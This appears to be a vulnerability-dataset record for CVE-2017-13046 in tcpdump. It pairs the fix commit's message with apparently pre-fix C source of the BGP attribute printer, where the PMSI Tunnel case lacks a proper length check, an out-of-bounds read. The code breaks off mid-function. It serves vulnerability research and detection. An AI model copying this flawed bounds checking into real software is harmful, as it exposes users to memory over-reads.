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CVE-2017-13046 | https://www.cvedetails.com/cve/CVE-2017-13046/ | CWE-125 | https://github.com/the-tcpdump-group/tcpdump/commit/d10a0f980fe8f9407ab1ffbd612641433ebe175e | d10a0f980fe8f9407ab1ffbd612641433ebe175e | CVE-2017-13046/BGP: fix an existing bounds check for PMSI Tunnel
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s). | bgp_attr_print(netdissect_options *ndo,
u_int atype, const u_char *pptr, u_int len)
{
int i;
uint16_t af;
uint8_t safi, snpa, nhlen;
union { /* copy buffer for bandwidth values */
float f;
uint32_t i;
} bw;
int advance;
u_int tlen;
const u_char *tptr;
char buf[MAXHOSTNAMELEN + 100];
int as_size;
tptr = pptr;
tlen=len;
switch (atype) {
case BGPTYPE_ORIGIN:
if (len != 1)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK(*tptr);
ND_PRINT((ndo, "%s", tok2str(bgp_origin_values,
"Unknown Origin Typecode",
tptr[0])));
}
break;
/*
* Process AS4 byte path and AS2 byte path attributes here.
*/
case BGPTYPE_AS4_PATH:
case BGPTYPE_AS_PATH:
if (len % 2) {
ND_PRINT((ndo, "invalid len"));
break;
}
if (!len) {
ND_PRINT((ndo, "empty"));
break;
}
/*
* BGP updates exchanged between New speakers that support 4
* byte AS, ASs are always encoded in 4 bytes. There is no
* definitive way to find this, just by the packet's
* contents. So, check for packet's TLV's sanity assuming
* 2 bytes first, and it does not pass, assume that ASs are
* encoded in 4 bytes format and move on.
*/
as_size = bgp_attr_get_as_size(ndo, atype, pptr, len);
while (tptr < pptr + len) {
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "%s", tok2str(bgp_as_path_segment_open_values,
"?", tptr[0])));
ND_TCHECK(tptr[1]);
for (i = 0; i < tptr[1] * as_size; i += as_size) {
ND_TCHECK2(tptr[2 + i], as_size);
ND_PRINT((ndo, "%s ",
as_printf(ndo, astostr, sizeof(astostr),
as_size == 2 ?
EXTRACT_16BITS(&tptr[2 + i]) :
EXTRACT_32BITS(&tptr[2 + i]))));
}
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "%s", tok2str(bgp_as_path_segment_close_values,
"?", tptr[0])));
ND_TCHECK(tptr[1]);
tptr += 2 + tptr[1] * as_size;
}
break;
case BGPTYPE_NEXT_HOP:
if (len != 4)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr)));
}
break;
case BGPTYPE_MULTI_EXIT_DISC:
case BGPTYPE_LOCAL_PREF:
if (len != 4)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%u", EXTRACT_32BITS(tptr)));
}
break;
case BGPTYPE_ATOMIC_AGGREGATE:
if (len != 0)
ND_PRINT((ndo, "invalid len"));
break;
case BGPTYPE_AGGREGATOR:
/*
* Depending on the AS encoded is of 2 bytes or of 4 bytes,
* the length of this PA can be either 6 bytes or 8 bytes.
*/
if (len != 6 && len != 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], len);
if (len == 6) {
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_16BITS(tptr)),
ipaddr_string(ndo, tptr + 2)));
} else {
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr),
EXTRACT_32BITS(tptr)), ipaddr_string(ndo, tptr + 4)));
}
break;
case BGPTYPE_AGGREGATOR4:
if (len != 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr)),
ipaddr_string(ndo, tptr + 4)));
break;
case BGPTYPE_COMMUNITIES:
if (len % 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
uint32_t comm;
ND_TCHECK2(tptr[0], 4);
comm = EXTRACT_32BITS(tptr);
switch (comm) {
case BGP_COMMUNITY_NO_EXPORT:
ND_PRINT((ndo, " NO_EXPORT"));
break;
case BGP_COMMUNITY_NO_ADVERT:
ND_PRINT((ndo, " NO_ADVERTISE"));
break;
case BGP_COMMUNITY_NO_EXPORT_SUBCONFED:
ND_PRINT((ndo, " NO_EXPORT_SUBCONFED"));
break;
default:
ND_PRINT((ndo, "%u:%u%s",
(comm >> 16) & 0xffff,
comm & 0xffff,
(tlen>4) ? ", " : ""));
break;
}
tlen -=4;
tptr +=4;
}
break;
case BGPTYPE_ORIGINATOR_ID:
if (len != 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s",ipaddr_string(ndo, tptr)));
break;
case BGPTYPE_CLUSTER_LIST:
if (len % 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s%s",
ipaddr_string(ndo, tptr),
(tlen>4) ? ", " : ""));
tlen -=4;
tptr +=4;
}
break;
case BGPTYPE_MP_REACH_NLRI:
ND_TCHECK2(tptr[0], 3);
af = EXTRACT_16BITS(tptr);
safi = tptr[2];
ND_PRINT((ndo, "\n\t AFI: %s (%u), %sSAFI: %s (%u)",
tok2str(af_values, "Unknown AFI", af),
af,
(safi>128) ? "vendor specific " : "", /* 128 is meanwhile wellknown */
tok2str(bgp_safi_values, "Unknown SAFI", safi),
safi));
switch(af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):
case (AFNUM_INET<<8 | SAFNUM_MDT):
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
break;
default:
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "\n\t no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
goto done;
break;
}
tptr +=3;
ND_TCHECK(tptr[0]);
nhlen = tptr[0];
tlen = nhlen;
tptr++;
if (tlen) {
int nnh = 0;
ND_PRINT((ndo, "\n\t nexthop: "));
while (tlen > 0) {
if ( nnh++ > 0 ) {
ND_PRINT((ndo, ", " ));
}
switch(af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):
case (AFNUM_INET<<8 | SAFNUM_MDT):
if (tlen < (int)sizeof(struct in_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr));
ND_PRINT((ndo, "%s",ipaddr_string(ndo, tptr)));
tlen -= sizeof(struct in_addr);
tptr += sizeof(struct in_addr);
}
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)(sizeof(struct in_addr)+BGP_VPN_RD_LEN)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr)+BGP_VPN_RD_LEN);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN)));
tlen -= (sizeof(struct in_addr)+BGP_VPN_RD_LEN);
tptr += (sizeof(struct in_addr)+BGP_VPN_RD_LEN);
}
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
if (tlen < (int)sizeof(struct in6_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in6_addr));
ND_PRINT((ndo, "%s", ip6addr_string(ndo, tptr)));
tlen -= sizeof(struct in6_addr);
tptr += sizeof(struct in6_addr);
}
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)(sizeof(struct in6_addr)+BGP_VPN_RD_LEN)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN)));
tlen -= (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
tptr += (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
}
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)sizeof(struct in_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr));
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr)));
tlen -= (sizeof(struct in_addr));
tptr += (sizeof(struct in_addr));
}
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "%s", isonsap_string(ndo, tptr, tlen)));
tptr += tlen;
tlen = 0;
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < BGP_VPN_RD_LEN+1) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
isonsap_string(ndo, tptr+BGP_VPN_RD_LEN,tlen-BGP_VPN_RD_LEN)));
/* rfc986 mapped IPv4 address ? */
if (EXTRACT_32BITS(tptr+BGP_VPN_RD_LEN) == 0x47000601)
ND_PRINT((ndo, " = %s", ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN+4)));
/* rfc1888 mapped IPv6 address ? */
else if (EXTRACT_24BITS(tptr+BGP_VPN_RD_LEN) == 0x350000)
ND_PRINT((ndo, " = %s", ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN+3)));
tptr += tlen;
tlen = 0;
}
break;
default:
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "no AFI %u/SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
tptr += tlen;
tlen = 0;
goto done;
break;
}
}
}
ND_PRINT((ndo, ", nh-length: %u", nhlen));
tptr += tlen;
ND_TCHECK(tptr[0]);
snpa = tptr[0];
tptr++;
if (snpa) {
ND_PRINT((ndo, "\n\t %u SNPA", snpa));
for (/*nothing*/; snpa > 0; snpa--) {
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "\n\t %d bytes", tptr[0]));
tptr += tptr[0] + 1;
}
} else {
ND_PRINT((ndo, ", no SNPA"));
}
while (tptr < pptr + len) {
switch (af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
advance = decode_rt_routing_info(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):
advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MDT):
advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
default:
ND_TCHECK2(*tptr,tlen);
ND_PRINT((ndo, "\n\t no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
advance = 0;
tptr = pptr + len;
break;
}
if (advance < 0)
break;
tptr += advance;
}
done:
break;
case BGPTYPE_MP_UNREACH_NLRI:
ND_TCHECK2(tptr[0], BGP_MP_NLRI_MINSIZE);
af = EXTRACT_16BITS(tptr);
safi = tptr[2];
ND_PRINT((ndo, "\n\t AFI: %s (%u), %sSAFI: %s (%u)",
tok2str(af_values, "Unknown AFI", af),
af,
(safi>128) ? "vendor specific " : "", /* 128 is meanwhile wellknown */
tok2str(bgp_safi_values, "Unknown SAFI", safi),
safi));
if (len == BGP_MP_NLRI_MINSIZE)
ND_PRINT((ndo, "\n\t End-of-Rib Marker (empty NLRI)"));
tptr += 3;
while (tptr < pptr + len) {
switch (af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MDT):
advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):
advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
default:
ND_TCHECK2(*(tptr-3),tlen);
ND_PRINT((ndo, "no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr-3, "\n\t ", tlen);
advance = 0;
tptr = pptr + len;
break;
}
if (advance < 0)
break;
tptr += advance;
}
break;
case BGPTYPE_EXTD_COMMUNITIES:
if (len % 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
uint16_t extd_comm;
ND_TCHECK2(tptr[0], 2);
extd_comm=EXTRACT_16BITS(tptr);
ND_PRINT((ndo, "\n\t %s (0x%04x), Flags [%s]",
tok2str(bgp_extd_comm_subtype_values,
"unknown extd community typecode",
extd_comm),
extd_comm,
bittok2str(bgp_extd_comm_flag_values, "none", extd_comm)));
ND_TCHECK2(*(tptr+2), 6);
switch(extd_comm) {
case BGP_EXT_COM_RT_0:
case BGP_EXT_COM_RO_0:
case BGP_EXT_COM_L2VPN_RT_0:
ND_PRINT((ndo, ": %u:%u (= %s)",
EXTRACT_16BITS(tptr+2),
EXTRACT_32BITS(tptr+4),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_EXT_COM_RT_1:
case BGP_EXT_COM_RO_1:
case BGP_EXT_COM_L2VPN_RT_1:
case BGP_EXT_COM_VRF_RT_IMP:
ND_PRINT((ndo, ": %s:%u",
ipaddr_string(ndo, tptr+2),
EXTRACT_16BITS(tptr+6)));
break;
case BGP_EXT_COM_RT_2:
case BGP_EXT_COM_RO_2:
ND_PRINT((ndo, ": %s:%u",
as_printf(ndo, astostr, sizeof(astostr),
EXTRACT_32BITS(tptr+2)), EXTRACT_16BITS(tptr+6)));
break;
case BGP_EXT_COM_LINKBAND:
bw.i = EXTRACT_32BITS(tptr+2);
ND_PRINT((ndo, ": bandwidth: %.3f Mbps",
bw.f*8/1000000));
break;
case BGP_EXT_COM_VPN_ORIGIN:
case BGP_EXT_COM_VPN_ORIGIN2:
case BGP_EXT_COM_VPN_ORIGIN3:
case BGP_EXT_COM_VPN_ORIGIN4:
case BGP_EXT_COM_OSPF_RID:
case BGP_EXT_COM_OSPF_RID2:
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr+2)));
break;
case BGP_EXT_COM_OSPF_RTYPE:
case BGP_EXT_COM_OSPF_RTYPE2:
ND_PRINT((ndo, ": area:%s, router-type:%s, metric-type:%s%s",
ipaddr_string(ndo, tptr+2),
tok2str(bgp_extd_comm_ospf_rtype_values,
"unknown (0x%02x)",
*(tptr+6)),
(*(tptr+7) & BGP_OSPF_RTYPE_METRIC_TYPE) ? "E2" : "",
((*(tptr+6) == BGP_OSPF_RTYPE_EXT) || (*(tptr+6) == BGP_OSPF_RTYPE_NSSA)) ? "E1" : ""));
break;
case BGP_EXT_COM_L2INFO:
ND_PRINT((ndo, ": %s Control Flags [0x%02x]:MTU %u",
tok2str(l2vpn_encaps_values,
"unknown encaps",
*(tptr+2)),
*(tptr+3),
EXTRACT_16BITS(tptr+4)));
break;
case BGP_EXT_COM_SOURCE_AS:
ND_PRINT((ndo, ": AS %u", EXTRACT_16BITS(tptr+2)));
break;
default:
ND_TCHECK2(*tptr,8);
print_unknown_data(ndo, tptr, "\n\t ", 8);
break;
}
tlen -=8;
tptr +=8;
}
break;
case BGPTYPE_PMSI_TUNNEL:
{
uint8_t tunnel_type, flags;
ND_TCHECK2(tptr[0], 5);
tunnel_type = *(tptr+1);
flags = *tptr;
tlen = len;
ND_PRINT((ndo, "\n\t Tunnel-type %s (%u), Flags [%s], MPLS Label %u",
tok2str(bgp_pmsi_tunnel_values, "Unknown", tunnel_type),
tunnel_type,
bittok2str(bgp_pmsi_flag_values, "none", flags),
EXTRACT_24BITS(tptr+2)>>4));
tptr +=5;
tlen -= 5;
switch (tunnel_type) {
case BGP_PMSI_TUNNEL_PIM_SM: /* fall through */
case BGP_PMSI_TUNNEL_PIM_BIDIR:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Sender %s, P-Group %s",
ipaddr_string(ndo, tptr),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_PMSI_TUNNEL_PIM_SSM:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Root-Node %s, P-Group %s",
ipaddr_string(ndo, tptr),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_PMSI_TUNNEL_INGRESS:
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "\n\t Tunnel-Endpoint %s",
ipaddr_string(ndo, tptr)));
break;
case BGP_PMSI_TUNNEL_LDP_P2MP: /* fall through */
case BGP_PMSI_TUNNEL_LDP_MP2MP:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Root-Node %s, LSP-ID 0x%08x",
ipaddr_string(ndo, tptr),
EXTRACT_32BITS(tptr+4)));
break;
case BGP_PMSI_TUNNEL_RSVP_P2MP:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Extended-Tunnel-ID %s, P2MP-ID 0x%08x",
ipaddr_string(ndo, tptr),
EXTRACT_32BITS(tptr+4)));
break;
default:
if (ndo->ndo_vflag <= 1) {
print_unknown_data(ndo, tptr, "\n\t ", tlen);
}
}
break;
}
case BGPTYPE_AIGP:
{
uint8_t type;
uint16_t length;
tlen = len;
while (tlen >= 3) {
ND_TCHECK2(tptr[0], 3);
type = *tptr;
length = EXTRACT_16BITS(tptr+1);
tptr += 3;
tlen -= 3;
ND_PRINT((ndo, "\n\t %s TLV (%u), length %u",
tok2str(bgp_aigp_values, "Unknown", type),
type, length));
if (length < 3)
goto trunc;
length -= 3;
/*
* Check if we can read the TLV data.
*/
ND_TCHECK2(tptr[3], length);
switch (type) {
